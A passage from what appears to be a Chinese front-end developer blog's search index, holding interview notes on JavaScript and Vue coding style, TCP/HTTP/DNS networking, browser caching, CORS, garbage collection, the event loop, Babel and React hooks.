(hash &lt;&lt; 5) - hash + char // Convert to 32-bit integer hash &amp;= hash &#125;&#125;// good ✅function generateHash(str) &#123; let hash = 0 let length = str.length if (!length) &#123; return hash &#125; for (let i = 0; i &lt; length; i++) &#123; const char = str.charCodeAt(i) hash = (hash &lt;&lt; 5) - hash + char hash = hash &amp; hash // Convert to 32bit integer &#125; return hash&#125; ES6 优化原生 JS(ES5) 代码风格使用默认参数12345678910// bad ❌function printAllFilesInDirectory(dir) &#123; const directory = dir || './' // ...&#125;// good ✅function printAllFilesInDirectory(dir = './') &#123; // ...&#125; 对象结构取值12345678910111213141516const obj = &#123; a: 1, b: 2, c: 3, d: 4, e: 5&#125;// bad ❌const f = obj.a + obj.dconst g = obj.c + obj.e// good ✅const &#123; a, b, c, d, e &#125; = objconst f = a + dconst g = c + e ES6 的解构赋值虽然好用。但是要注意解构的对象不能为 undefined、null。否则会报错,故要给被解构的对象一个默认值。 1const &#123; a, b, c, d, e &#125; = obj || &#123;&#125; 拓展运算符合并数据合并数组或者对象,用 ES5 的写法有些冗余 12345678910111213141516const a = [1, 2, 3]const b = [1, 5, 6]const obj1 = &#123; a: 1&#125;const obj2 = &#123; b: 1&#125;// bad ❌const c = a.concat(b) //[1,2,3,1,5,6]const obj = Object.assign(&#123;&#125;, obj1, obj2) // &#123;a:1, b:1&#125;// good ✅const c = [...new Set([...a, ...b])] //[1,2,3,5,6]const obj = &#123; ...obj1, ...obj2 &#125; // &#123;a:1, b:1&#125; 拼接字符12345678910111213const name = '小明'const score = 59// bad ❌let result = ''if (score &gt; 60) &#123; result = `$&#123;name&#125;的考试成绩及格`&#125; else &#123; result = `$&#123;name&#125;的考试成绩不及格`&#125;// good ✅const result = `$&#123;name&#125;$&#123;score &gt; 60 ? '的考试成绩及格' : '的考试成绩不及格'&#125;` includes 替代多条件判断12345678910111213141516// bad ❌f( type == 1 || type == 2 || type == 3 || type == 4 ||)&#123; //...&#125;// good ✅const condition = [1,2,3,4];if( condition.includes(type) )&#123; //...&#125; 列表查找某一项1234567891011const a = [1, 2, 3, 4, 5]// bad ❌const result = a.filter((item) =&gt; &#123; return item === 3&#125;)// good ✅const result = a.find((item) =&gt; &#123; return item === 3&#125;) 数组扁平化123456789101112131415161718// bad ❌const deps = &#123; 采购部: [1, 2, 3], 人事部: [5, 8, 12], 行政部: [5, 14, 79], 运输部: [3, 64, 105]&#125;let member = []for (let item in deps) &#123; const value = deps[item] if (Array.isArray(value)) &#123; member = [...member, ...value] &#125;&#125;member = [...new Set(member)]// good ✅const member = Object.values(deps).flat(Infinity) 可选链操作符获取对象属性值12345// bad ❌const name = obj &amp;&amp; obj.name// good ✅const name = obj?.name 动态对象属性名12345678// bad ❌let obj = &#123;&#125;let index = 1let key = `topic$&#123;index&#125;`obj[key] = '话题内容'// good ✅obj[`topic$&#123;index&#125;`] = '话题内容' 判断非空123456789// bad ❌if (value !== null &amp;&amp; value !== undefined &amp;&amp; value !== '') &#123; //...&#125;// good ✅if ((value ?? '') !== '') &#123; //...&#125; Vue 组件风格Vue 单文件组件风格指南内容节选自 Vue 官方风格指南。 组件数据组件的 data 必须是一个函数。 123456789101112131415// badexport default &#123; data: &#123; foo: 'bar' &#125;&#125;;// goodexport default &#123; data() &#123; return &#123; foo: 'bar' &#125;; &#125;&#125;; 单文件组件文件名称单文件组件的文件名应该要么始终是单词大写开头 (PascalCase),要么始终是横线连接 (kebab-case)。 1234567// badmycomponent.vuemyComponent.vue// goodmy - component.vueMyComponent.vue 紧密耦合的组件名和父组件紧密耦合的子组件应该以父组件名作为前缀命名。 1234567891011// badcomponents/|- TodoList.vue|- TodoItem.vue└─ TodoButton.vue// goodcomponents/|- TodoList.vue|- TodoListItem.vue└─ TodoListItemButton.vue 自闭合组件在单文件组件中没有内容的组件应该是自闭合的。 12345&lt;!-- bad --&gt;&lt;my-component&gt;&lt;/my-component&gt;&lt;!-- good --&gt;&lt;my-component /&gt; Prop 名大小写在声明 prop 的时候,其命名应该始终使用 camelCase,而在模板中应该始终使用 kebab-case。 12345678910111213// badexport default &#123; props: &#123; 'greeting-text': String &#125;&#125;;// goodexport default &#123; props: &#123; greetingText: String &#125;&#125;; 12345&lt;!-- bad --&gt;&lt;welcome-message greetingText="hi" /&gt;&lt;!-- good --&gt;&lt;welcome-message greeting-text="hi" /&gt; 指令缩写指令缩写,用 : 表示 v-bind: ,用 @ 表示 v-on: 12345&lt;!-- bad --&gt;&lt;input v-bind:value="value" v-on:input="onInput" /&gt;&lt;!-- good --&gt;&lt;input :value="value" @input="onInput" /&gt; Props 顺序标签的 Props 应该有统一的顺序,依次为指令、属性和事件。 12345678910&lt;my-component v-if="if" v-show="show" v-model="value" ref="ref" :key="key" :text="text" @input="onInput" @change="onChange"/&gt; 组件选项的顺序组件选项应该有统一的顺序。 12345678910111213141516171819202122232425export default &#123; name: '', components: &#123;&#125;, props: &#123;&#125;, emits: [], setup() &#123;&#125;, data() &#123;&#125;, computed: &#123;&#125;, watch: &#123;&#125;, created() &#123;&#125;, mounted() &#123;&#125;, unmounted() &#123;&#125;, methods: &#123;&#125;&#125; 组件选项中的空行组件选项较多时,建议在属性之间添加空行。 123456789101112131415161718192021export default &#123; computed: &#123; formattedValue() &#123; // ... &#125;, styles() &#123; // ... &#125; &#125;, methods: &#123; onInput() &#123; // ... &#125;, onChange() &#123; // ... &#125; &#125;&#125; 单文件组件顶级标签的顺序单文件组件应该总是让顶级标签的顺序保持一致,且标签之间留有空行。 123456789&lt;template&gt; ... &lt;/template&gt;&lt;script&gt; /* ... */&lt;/script&gt;&lt;style&gt; /* ... */&lt;/style&gt;]]></content>
</entry>
<entry>
<title><![CDATA[inter-http]]></title>
<url>%2F2021%2F10%2F18%2Finter-http%2F</url>
<content type="text"><![CDATA[网络七层协议应用层、表达层、会话层、传输层、网络层、数据链路层、物理层。 如何让你设计网络物理层 - 集线器数据链路层 - 交换机,维护 端口 - MAC 地址表网络层 - 路由器,对比源 IP 和目标 IP 子网掩码,不同则走默认路由 TCP 协议TCP 重传:TCP 重传机制包括:1、超时重传,2、快速重传,3、SACK,4、D-SACK。超时重传:数据发送时,设定一个定时器,当超过指定时间,没有收到对方的 ack 确认应答报文,就会重发该数据。超时重传时间 RTO 应该略大于往返时延 RTT(数据发送到接受确认的时刻的差值)。快速重传:收到三个相同的 ack 报文时,会在定时器过期之前,重传丢失的报文段。SACK:TCP 头部 SACK 字段,缓存地图发送给发送方,知道发送方那些数据收到了,哪些没有收到。D-SACk:使用 SACK 告诉发送方哪些数据被重复接收了。 TCP 重传、窗口滑动、流量控制和拥塞控制 没想到 TCP 居然还有这种打开方式 传输层 - UDP,增加源端口号和目标端口号 TCP 窗口流量控制: A -&gt; B 发送 TCP 消息会带上 win,win 是窗口大小,表示 A 的接受能力,B 收到后会回复 ack 和 win,表示 B 的接收能力; 如果两个 win 大小相同,A 每收到一个 ack 后窗口整体移动一步; 如果长度不同,B 发给 A 的 win 变大,证明 B 的接受能力变强,A 的窗口上边界往右边移动,扩大发送窗口; B 发给 A 的 win 变小,证明 B 的接受能力变弱,A 的窗口上边界不动,等接受到 ack 后下边界右移即可,窗口大小变为 win 的长度,再整体移动; win 值是通过试探算出来的,比如第一次发送 2 个,第二次发送 3 个…; TCP 协议三次握手1、第一次握手:刚开始客户端处于 CLOSED 的状态,服务端处于 LISTEN 状态。客户端给服务端发一个 SYN 报文,并指明客户端的初始化序列号 ISN。此时客户端处于 SYN_SEND 状态。2、第二次握手:服务器收到客户端的 SYN 报文之后,会以自己的 SYN 报文作为应答,并且也是指定了自己的初始化序列号 ISN,同时会把客户端的 ISN + 1 作为 ACK 的值,表示自己已经收到了客户端的 SYN,此时服务器处于 SYN_REVD 的状态。3、第三次握手:客户端收到 SYN 报文之后,会发送一个 ACK 报文,当然,也是一样把服务器的 ISN + 1 作为 ACK 的值,表示已经收到了服务端的 SYN 报文,此时客户端处于 ESTABLELISHED 状态。4、服务器收到 ACK 报文之后,也处于 ESTABLELISHED 状态,此时,双方以建立起了链接。 为什么是 3 次?避免历史连接,确认客户端发来的请求是这次通信的人。 四次挥手1、第一次挥手:在挥手之前服务端与客户端都处于 ESTABLISTEN 状态。客户端发送一个 FIN 报文,报文中会指定一个序列号。此时客户端处于 FIN_WAIT1 状态。2、第二次挥手:服务端收到 FIN 之后,会发送 ACK 报文,且把客户端的序列号值 + 1 作为 ACK 报文的序列号值,表明已经收到客户端的报文了,此时服务端处于 CLOSE_WAIT 状态。3、第三次挥手:如果服务端也想断开连接了,和客户端的第一次挥手一样,发给 FIN 报文,且指定一个序列号。此时服务端处于 LAST_ACK 的状态。4、第四次挥手:客户端收到 FIN 之后,一样发送一个 ACK 报文作为应答,且把服务端的序列号值 + 1 作为自己 ACK 报文的序列号值,此时客户端处于 TIME_WAIT 状态。需要过一阵子以确保服务端收到自己的 ACK 报文之后才会进入 CLOSED 状态5、服务端收到 ACK 报文之后,就处于关闭连接了,处于 CLOSED 状态。 参考:关于三次握手和四次挥手,面试官想听到怎样的回答? HTTP/1.0 HTTP1.1 HTTP2.0 版本之间的差异HTTP 0.9 1991 年,原型版本,功能简陋,只有一个命令 GET,只支持纯文本内容,该版本已过时。 HTTP1.0 任何格式的内容都可以发送,这使得互联网不仅可以传输文字,还能传输图像、视频、二进制等文件。 除了 GET 命令,还引入了 POST 命令和 HEAD 命令。 http 请求和回应的格式改变,除了数据部分,每次通信都必须包括头信息(HTTP header),用来描述一些元数据。 只使用 header 中的 If-Modified-Since 和 Expires 作为缓存失效的标准。 不支持断点续传,也就是说,每次都会传送全部的页面和数据。 通常每台计算机只能绑定一个 IP,所以请求消息中的 URL 并没有传递主机名(hostname) HTTP 1.1http1.1 是目前最为主流的 http 协议版本,从 1999 年发布至今,仍是主流的 http 协议版本。 引入了持久连接( persistent connection),即 TCP 连接默认不关闭,可以被多个请求复用,不用声明 Connection: keep-alive。长连接的连接时长可以通过请求头中的 keep-alive 来设置。 引入了管道机制( pipelining),即在同一个 TCP 连接里,客户端可以同时发送多个请求,进一步改进了 HTTP 协议的效率。 HTTP 1.1 中新增加了 E-tag,If-Unmodified-Since, If-Match, If-None-Match 等缓存控制标头来控制缓存失效。 支持断点续传,通过使用请求头中的 Range 来实现。 使用了虚拟网络,在一台物理服务器上可以存在多个虚拟主机(Multi-homed Web Servers),并且它们共享一个 IP 地址。 新增方法:PUT、 PATCH、 OPTIONS、 DELETE。 http1.x 版本问题 在传输数据过程中,所有内容都是明文,客户端和服务器端都无法验证对方的身份,无法保证数据的安全性。 HTTP/1.1 版本默认允许复用 TCP 连接,但是在同一个 TCP 连接里,所有数据通信是按次序进行的,服务器通常在处理完一个回应后,才会继续去处理下一个,这样子就会造成队头阻塞。 http/1.x 版本支持 Keep-alive,用此方案来弥补创建多次连接产生的延迟,但是同样会给服务器带来压力,并且的话,对于单文件被不断请求的服务,Keep-alive 会极大影响性能,因为它在文件被请求之后还保持了不必要的连接很长时间。 HTTP 2.0 二进制分帧。这是一次彻底的二进制协议,头信息和数据体都是二进制,并且统称为”帧”:头信息帧和数据帧。 头部压缩。HTTP 1.1 版本会出现 「User-Agent、Cookie、Accept、Server、Range」 等字段可能会占用几百甚至几千字节,而 Body 却经常只有几十字节,所以导致头部偏重。HTTP 2.0 使用 HPACK 算法进行压缩。 多路复用。复用 TCP 连接,在一个连接里,客户端和浏览器都可以同时发送多个请求或回应,且不用按顺序一一对应,这样子解决了队头阻塞的问题。 服务器推送。允许服务器未经请求,主动向客户端发送资源,即服务器推送。 请求优先级。可以设置数据帧的优先级,让服务端先处理重要资源,优化用户体验。 谈一谈你对 HTTP/2 理解头部压缩HTTP1.1 版本出现 「User-Agent、Cookie、Accept、Server、Range」 等字段可能会占用几百甚至几千字节,而 Body 却经常只有几十字节,所以导致头部偏重。HTTP2.0 使用 HPACK 算法进行压缩。「传索引」的方式,可以说让请求头字段得到极大程度的精简和复用。其次是对于整数和字符串进行「哈夫曼编码」,哈夫曼编码的原理就是先将所有出现的字符建立一张索引表,然后让出现次数多的字符对应的索引尽可能短,传输的时候也是传输这样的「索引序列」,可以达到非常高的压缩率。 多路复用HTTP1.x 中,如果想并发多个请求,必须使用多个 TCP 链接,且浏览器为了控制资源,还会对单个域名又 6-8 个的 TCP 链接请求限制。 HTTP2 中: 同域名下所有通信都在单个连接上完成。 单个连接可以承载任意数量的双向数据流。 数据流以消息的形式发送,而消息又由一个或多个帧组成,多个帧之间可以乱序发送,因为根据帧首部的流标识可以重新组装,也就是 Stream ID,流标识符,有了它,接收方就能从乱序的二进制帧中选择 ID 相同的帧,按照顺序组装成请求/响应报文。 服务器推送浏览器发送一个请求,服务器主动向浏览器推送与这个请求相关的资源,这样浏览器就不用发起后续请求。 相比较 HTTP/1.1 的优势 推送资源可以由不同页面共享。 服务器可以按照优先级推送资源。 客户端可以缓存推送的资源。 客户端可以拒收推送过来的资源。 二进制分帧之前是明文传输,不方便计算机解析,对于回车换行符来说到底是内容还是分隔符,都需要内部状态机去识别,这样子效率低,HTTP/2 采用二进制格式,全部传输 01 串,便于机器解码。这样子一个报文格式就被拆分成一个个二进制帧,用「Headers 帧」存放头部字段,「Data 帧」存放请求体数据。这样子的话,就是一堆乱序的二进制帧,它们不存在先后关系,因此不需要排队等待,解决了 HTTP 队头阻塞问题。 在客户端与服务器之间,双方都可以互相发送二进制帧,这样子「双向传输的序列」,称为流,所以 HTTP/2 中以流来表示一个 TCP 连接上进行多个数据帧的通信,这就是多路复用概念。 那乱序的二进制帧,是如何组装成对的报文呢? 所谓乱序,值是不同 ID 的 Stream 是乱序的,对于同一个 Stream ID 的帧是按顺序传输的。 接收方收到二进制后,将相同的 Stream ID 组装成完整的请求报文和响应报文。 二进制帧中有一些字段,控制着优先级和流量控制等功能,这样子的话,就可以设置数据帧的优先级,让服务器处理重要资源,优化用户体验。 介绍一下 HTTP 常见状态码RFC 规定 HTTP 的状态码为「三位数」,第一个数字定义了响应的类别,被分为五类: 「1xx」: 代表请求已被接受,需要继续处理。 「2xx」: 表示成功状态。 「3xx」: 重定向状态。 「4xx」: 客户端错误。 「5xx」: 服务器端错误。 1xx 信息类接受的请求正在处理,信息类状态码。 2xx 成功 200 OK 表示从客户端发来的请求在服务器端被正确请求。 204 No content,表示请求成功,但没有资源可返回。 206 Partial Content,该状态码表示客户端进行了范围请求,而服务器成功执行了这部分的 GET 请求响应报文中包含由 「Content-Range」 指定范围的实体内容。 3xx 重定向 301 moved permanently,永久性重定向,表示资源已被分配了新的 URL,这时应该按 Location 首部字段提示的 URI 重新保存。 302 found,临时性重定向,表示资源临时被分配了新的 URL。 303 see other,表示资源存在着另一个 URL,应使用 GET 方法获取资源。 304 not modified,当协商缓存命中时会返回这个状态码。 307 temporary redirect,临时重定向,和 302 含义相同,不会改变 method 4XX 客户端错误 400 bad request,请求报文存在语法错误。 401 unauthorized,表示发送的请求需要有通过 HTTP 认证的认证信息。 403 forbidden,表示对请求资源的访问被服务器拒绝。 404 not found,表示在服务器上没有找到请求的资源。 405 Method Not Allowed,服务器禁止使用该方法,客户端可以通过 options 方法来查看服务器允许的访问方法,如下 👇 Access-Control-Allow-Methods →GET,HEAD,PUT,PATCH,POST,DELETE 5XX 服务器错误 500 internal sever error,表示服务器端在执行请求时发生了错误。 502 Bad Gateway,服务器自身是正常的,访问的时候出了问题,具体啥错误我们不知道。 503 service unavailable,表明服务器暂时处于超负载或正在停机维护,无法处理请求。 参考:「查缺补漏」巩固你的 HTTP 知识体系 DNS 如何工作的DNS 协议提供的是一种主机名到 IP 地址的转换服务,就是我们常说的域名系统。是应用层协议,通常该协议运行在 UDP 协议之上,使用的是 53 端口号。 本地 DNS 服务器查询:递归查询 1客户端-- &gt; 浏览器缓存-- &gt; 本地的hosts文件-- &gt; 本地DNS解析器缓存-- &gt; 本地DNS服务器 本地 DNS 服务器向其他域名服务器请求的过程:迭代查询 123本地DNS服务器-- &gt; 根域名服务器本地DNS服务器-- &gt; 顶级域名服务器本地DNS服务器-- &gt; 权威域名服务器 递归查询和迭代查询 递归查询指的是查询请求发出后,域名服务器代为向下一级域名服务器发出请求,最后向用户返回查询的最终结果。使用递归查询,用户只需要发出一次查询请求。 迭代查询指的是查询请求后,域名服务器返回单次查询的结果。下一级的查询由用户自己请求。使用迭代查询,用户需要发出多次的查询请求。 一般而言,本地服务器查询是递归查询,本地 DNS 服务器向其他域名服务器请求的过程是迭代查询。 DNS 为什么用 UDP 协议作为传输DNS 使用 UDP 协议作为传输层协议的主要原因是为了避免使用 TCP 协议造成的连接时延。 Connection: keep-aliveHTTP 协议采用“请求-应答”模式,当使用普通模式,即非 keep-alive 模式时,每个请求、应答客户和服务器都要新建一个连接,完成之后立即断开连接。当使用 keep-alive 模式时,keep-alive 功能使客户端到服务端的连接持续有效,当出现对服务器的后继请求时,keep-alive 功能避免建立或者重新建立连接。 为什么要使用 keep-alivekeep-alive 技术的创建目的,能在多次 HTTP 之前重用同一个 TCP 连接,从而减少创建、关闭多个 TCP 连接开销(包括响应时间、CPU 资源,减少拥堵)。 客户端如何开启在 HTTP、1.0 协议中,默认是关闭的,需要 http 头加入 Connection: keep-alive,才能启动。http1.1 中默认启动。如果加入 Connection: close 关闭。 HTTP 缓存策略强缓存强缓存两个相关字段,Expires,Cache-Control。HTTP1.0 版本使用Expires,HTTP1.1 使用 Cache-Control。 ExpiresExpires 即过期时间,时间是相对于服务器的时间而言的,存在于服务端返回的响应头中,在这个过期时间之前可以直接从缓存里面获取数据,无需再次请求。 1Expires:Mon, 29 Jun 2020 11:10:23 GMT 表示该资源在 2020 年 7 月 29 日 11:10:23 过期,过期时就会重新向服务器发起请求。这种方式有一个问题:服务器的时间和浏览器的时间可能并不一致。 Cache-ControlHTTP1.1 版本,使用该字段,这个字段采用的是时间过期时长,对应是 max-age。 1Cache-Control:max-age=6000 上面表示该资源返回后 6000 秒,可以直接使用缓存。 注意: 当 Expires 和 Cache-Control 同时存在时,优先考虑 Cache-Control; 当没有命中强缓存,接下来进入协商缓存。 协商缓存强缓存失效后,浏览器在请求头中携带响应的缓存 tag 来向服务器发送请求,服务器根据对应的 tag,来决定是否使用缓存。 缓存分为两种,Last-Modified 和 ETag。两者各有优势,并不存在谁对谁绝对优势。 Last-Modified这个字段表示的是最后修改时间。在浏览器第一次给服务器发送请求后,服务器会在响应头中加上这个字段。 浏览器接收后,如果再次请求,会在请求头携带 If-Modified-Since 字段,这个字段的值就是服务器传来的最后修改时间。 服务器拿到请求头中的 If-Modified-Since的字段后,其实会和这个服务器中该资源的最后修改时间对比: 如果请求头中的这个值小于最后修改时间,说明是时候更新了。返回新的资源,跟常规请求的流程一样; 否则返回 304,高速浏览器直接使用缓存。 ETagETag 是服务器根据当前文件的内容,对文件生成唯一的标识,只要里面内容有改动,这个值就会修改,服务器通过把响应头将该字段返回给浏览器登录。 浏览器接收到 ETag 值,会在下次请求的时候,将这个值作为 If-None-Match 这个字段的内容,发给服务器。 服务器接收到 If-None-Match 后,会跟服务器上该资源的 ETag 进行对比。 如果两者一样的话,直接返回 304,高速浏览器直接使用缓存; 如果不一样的话,说明内容更新了,返回新的资源,跟常规的 HTTP 请求响应的流程一样。 两者对比 性能上,Last-Modified 优于 ETag,Last-Modified记录的是时间点,而ETag需要根据文件算法生成对应的 hash 值。 精度上,ETag 优于 Last-Modified。ETag 按照内容给资源带上标识,能准确感知资源变化,Last-Modified在某些场景并不能感知变化。 编辑了资源文件,但是文件内容并没有更改,这样会造成缓存失效; Last-Modified 能够感知的单位是秒,如果文件在 1s 内改变了多次,那么这个时候的 Last-Modified 并没有体现出修改了。 缓存位置浏览器缓存的位置,分为四种,优先级从高到低: Service Worker Memory Cache Disk Cache Push Cache HTTP 的请求方法 HTTP1.0 定义了三种请求方法:GET、POST 和 HEAD 方法; HTTP1.1 新增了五种请求方法:OPITONS、PUT、DELETE、TRACE 和 CONNECT。 HTTP1.1 规定一下请求方法 GET:请求获取 Request-URI 所标识的资源; POST:在 Request-URI 所标识的资源后附加新的数据; HEAD:请求获取由 Request-URI 所标识的资源的响应消息报头; PUT:请求服务器存储一个资源,并用 Request-URI 作为其标识; DELETE:请求服务器删除对应所标识的资源; TRACE:请求服务器回送收到的请求信息,主要用于测试或者诊断; CONNECT:建立连接隧道,用于代理服务器; OPTIONS:列出可对资源实行的请求方法,用来跨域请求。 GET 和 POST 请求的区别 从缓存角度看,GET 请求后,浏览器会主动缓存,POST 默认情况下不能; 从参数角度看,GET 请求一般放在 URL 中,因此不安全,POST 请求放在请求体中,相对而言较为安全,但是在抓包的情况下都是一样的; 从编码角度看,GET 请求只能 URL 编码,只能接受 ASCII 码,而 POST 支持更多的编码类型且不对数据类型限制; GET 请求幂等,POST 请求不幂等,幂等指发送 M 和 N 次请求(两者不相同且都大于 1),服务器上资源的状态一致; GET 请求会一次性发送请求报文,POST 请求通常范围两个 TCP 数据包,首先发 header 部分,如果服务器响应 100(continue),然后发 body 部分; options 方法作用 OPTIONS 请求与 HEAD 类似,一般也是用于客户端查看服务器的性能; 这个方法会请求服务器返回该资源所支持的所有 HTTP 请求方法,该方法会用“*”来代替资源名称,向服务器发送 OPTIONS 请求,可以测试服务器功能是否正常; JS 的 XMLHttpRequest 对象进行 CORS 跨域资源共享时,对于复杂请求,就会使用 OPTIONS 方法发送嗅探请求,以判断是否对指定资源的访问权限。 对头阻塞问题什么是队头阻塞对于每个 HTTP 请求而言,这些任务是会被放入一个任务队列中串行执行的,一旦队首任务请求太慢时,就会阻塞后面的请求处理,这就是 HTTP 队头阻塞问题。 并发连接我们知道对于一个域名而言,是允许分配多个长连接的,那么可以理解成增加了任务队列,也就是说不会导致一个任务阻塞了改任务队列的其他任务,在 RFC 规范中规定客户端最多并发 2 个连接,不过实际情况要更多,比如,Chrome 是 6 个。 域名分片顾名思义,我们可以在一个域名下分出两个二级域名,而它们最终指向的还是同一个服务器,这样子的话就可以处理的任务队列更多,解决队头阻塞问题。 跨域浏览器遵循同源策略,协议(scheme)、主机(host)和端口号(port)都相同称为同源。非同源站点有一些限制: 不能读取和修改对方的 DOM; 不能访问对方的 Cookie、indexDB 和 localStorage。 当浏览器向目标 URI 发 Ajax 请求时,当前 URL 和目标 URL 不同源,则产生跨域,被称为跨域请求。底层原理是由于浏览器将每个渲染进程装进了沙箱,为了防止 CPU 芯片一直存在的 Spectre 和 Meltdown 漏洞,采取了站点隔离手段,给每个不同站点(一级域名不同)分配了沙箱,互补干扰。 CORSCORS 是 W3C 的一个标准,全称是跨域资源共享。它需要浏览器和服务器的共同支持,在弄清楚 CORS 原理之前,需要知道两个概念:简单请求和非简单请求。 属于如下条件的是简单请求: 请求方法为 GET、POST 和 HEAD; 请求头的取值范围:Accept、Accept-Language、Content-Language、Content-Type(只限于三个值 application/x-www-form-urlencoded、multipart/form-data 和 text/plain)。 非简单请求主要体现在两个方面:预检请求和响应字段。 预检请求的方法是 OPTIONS,还会加上两个关键字段: Access-Control-Request-Method,列出 CORS 请求用到哪个 HTTP 方法; Access-Control-Request-Headers,清除 CORS 请求将要加上什么请求头 其中有这样几个关键的响应头字段: Access-Control-Allow-Origin: 表示可以允许请求的源,可以填具体的源名,也可以填*表示允许任意源请求。Access-Control-Allow-Methods: 表示允许的请求方法列表。Access-Control-Allow-Credentials: 简单请求中已经介绍。Access-Control-Allow-Headers: 表示允许发送的请求头字段Access-Control-Max-Age: 预检请求的有效期,在此期间,不用发出另外一条预检请求。 参考 (建议精读)HTTP 灵魂之问,巩固你的 HTTP 知识体系]]></content>
<categories>
<category>面试</category>
</categories>
<tags>
<tag>http</tag>
<tag>面试</tag>
</tags>
</entry>
<entry>
<title><![CDATA[前端面试之高级javascript]]></title>
<url>%2F2021%2F10%2F17%2Finter-js-pro%2F</url>
<content type="text"><![CDATA[垃圾回收机制Javascript 垃圾回收机制分为:标记清除和引用计数。常用的垃圾回收方式是标记清除。垃圾收集器在运行的时候会给存储在内存中的所有变量都加上标记,然后,它会去掉环境中的变量以及被环境中的变量引用的变量的标记。在此之后再被加上标记的变量将被视为准备删除的变量。最后垃圾收集器销毁那些带标记的值并且回收它们所占用的内存空间。另一种不常用的垃圾收集策略是引用计数。引用计数的含义是跟踪记录每个值被引用的次数。当声明了一个变量并将一个引用类型值赋值给该变量时,则这个值的引用次数就是 1。如果同一个值又赋值给另外一个变量,则该值的引用次数加 1。相反,如果包含对这个值引用的变量有得到了另外一个值,则这个值的引用次数减 1。当这个值的引用次数变成 0 时,说明没办法再访问这个值了。当垃圾收集器下次再运行,就会释放那些引用次数为 0 的值所占内存。 V8 引擎垃圾回收工作原理 栈中数据回收:执行状态指针 ESP 在执行栈中移动,移过某执行上下文,就会被销毁; 堆中数据回收:V8 引擎采用标记-清除算法; V8 把堆分为两个区域——新生代和老生代,分别使用副、主垃圾回收器; 副垃圾回收器负责新生代垃圾回收,小对象(1 ~ 8M)会被分配到该区域处理; 新生代采用 scavenge 算法处理:将新生代空间分为两半,一半空闲,一半存对象,对对象区域做标记,存活对象复制排列到空闲区域,没有内存碎片,完成后,清理对象区域,角色反转; 新生代区域两次垃圾回收还存活的对象晋升至老生代区域; 主垃圾回收器负责老生区垃圾回收,大对象,存活时间长; 老生代区域采用标记-清除算法回收垃圾:从根元素开始,递归,可到达的元素活动元素,否则是垃圾数据; 标记-清除算法后,会产生大量不连续的内存碎片,标记-整理算法让所有存活的对象向一端移动,然后清理掉边界以外的内存; 为降低老生代垃圾回收造成的卡顿,V8 将标记过程被切分为一个个子标记过程,让垃圾回收和 JavaScript 执行交替进行。 事件循环(Event Loop)机制浏览中 Event Loop 运行机制 Javascript 是单线程语言。 1、所有同步任务都在主线程上执行,形成一个执行栈;2、主线程之外,还存在一个“任务队列”。只要异步任务有了运行结果,就在“任务队列”中放置一个事件;3、一旦“执行栈”中所有同步任务执行完毕,系统就会读取“任务队列”,看看里面有哪些事件。那些对应的异步任务,于是结束等待状态,进入执行栈,开始执行;4、主线程不断重复上面的第三步。 Node.js 的 Event Loop Node.js 也是单线程 Event Loop。 1、V8 引擎解析 JavaScript 脚本;2、解析后的代码,调用 Node API;3、libuv 库负责 Node API 的执行。它将不同的任务分配给不同的线程,形成一个事件循环(Event Loop),以异步的方式将任务的执行结果返回给 V8 引擎;4、V8 引擎再将结果返回给用户。 Node.js 中 libuv 引用的事件循环分为 6 个阶段: 1、timers 阶段:这个阶段执行 timer(setTimeout、setInterval)的回调;2、I/O callbacks 阶段:处理一些上一轮循环中的少数未执行的 I/O 回调;3、idle,prepare 阶段:仅 node 内部使用;4、poll 阶段:获取新的 I/O 事件,适当的条件下 node 将阻塞在这里;5、check 阶段:执行 setImmediate 的回调;6、close callbacks 阶段:执行 socket 的 close 事件回调; 顺序:外部输入数据–&gt;轮询阶段(poll)–&gt;检查阶段(check)–&gt;关闭事件回调阶段(close callback)–&gt;定时器检查阶段(timer)–&gt;I/O 事件回调阶段(I/O callbacks)–&gt;闲置阶段(idle,prepare)–&gt;轮询阶段 process.nextTick 独立于 Event Loop 之外,它有一个自己的队列,当每个阶段完成后,如果存在 nextTick 队列,就会清空队列中所有回调函数,并且优先于其他 microtask 执行。 浏览器和 Node.js 的 Event Loop 区别 浏览器环境下,microtask 的任务队列是每个 macrotask 执行完后执行。而在 Node.js 中,microtask 会在事件循环的各个阶段之间执行,也就是一个阶段执行完毕,就会去执行 microtask 队列的任务。 参考:JavaScript 运行机制详解:再谈 Event Loop 从输入一个 URL 地址到浏览器完成渲染的整个过程简单版: 浏览器查找当前 URL 是否存在缓存,并比较缓存是否过期; DNS 解析 URL 对应的 IP; 根据 IP 建立 TCP 连接(三次握手); 发送 HTTP 请求; 服务器处理请求,浏览器接受 HTTP 响应; 浏览器解析并渲染页面; 关闭 TCP 连接(四次挥手)。 图片懒加载方案 原生支持 Chrome76+支持,标签 loading 属性设为 ‘lazy’。 element.getBoundingClientRect().top &lt; document.documentElement.clientHeight。 element.offsetTop - document.documentElement.scrollTop &lt; document.documentElement.clientHeight IntersectionObserver babel 是什么,原理是什么?Babel 是一个 Javascript 编译器。他把最新版的 JavaScript 编译成目标浏览器环境可执行版本。 Babel 处理分为 3 步:解析(parse),转换(transform)和 生成(generate)。 解析。将代码解析成抽象语法树(AST),每个 js 引擎都有自己的 AST 解析器,而 Babel 是通过 Babylon 实现。在解析过程中有两个阶段:词法分析和语法分析。词法分析阶段把字符串形式的代码转换为令牌(tokens)流,令牌类似 AST 中节点;而语法分析阶段则会把一个令牌流转化成 AST 的形式,同时这个阶段会把令牌中的信息转换成 AST 的表述结构。 转换。Babel 接受得到 AST 并通过 babel-traverse 对其进行深度优先遍历,在此过程中对节点进行添加、更新及移除操作。这部分也是 Babel 插件介入工作的部分。 生成。将经过转换的 AST 通过 babel-generator 再转换成 js 代码,过程就是深度优先遍历整个 AST,然后构建可以表示转换后的代码的字符串。 PureComponent 组件和 memo 组件 React.PureComponent 中实现了 shouldComponentUpdate(),是以浅层比较 prop 和 state 的方式实现该函数。如果对象中包含复杂的数据结构,可能无法检查深层差别,产生错误对比结果。在 state 和 prop 比较简单时,才使用,或者在深层次数据结构发生变化时调用 forceUpdate 来确保组件正确更新,可以考虑用 immutable 对象加速数据比较。 React.memo 为高阶组件,仅检查 props 变更,且实现中拥有 useState,useReducer 或 useContent 的 hook。 React hook 函数式组件没有 this,不能分配和读取 this.state。 引入 useState Hook,它让我们函数组件中存储内部 state。 解构出 state 中的变量和对应的赋值函数,从将更新 state 变量总是替换它变成合并它的形式。 useEffect Hook 看做 componentDidMount、componentDidUpdate 和 componentWillUnmount 这三个函数的组合。 Hook 一个目的是解决 class 生命周期经常包含不相关逻辑,但又把相关逻辑分离到不同方法中的问题。比如订阅逻辑分割到 componentDidMount 和 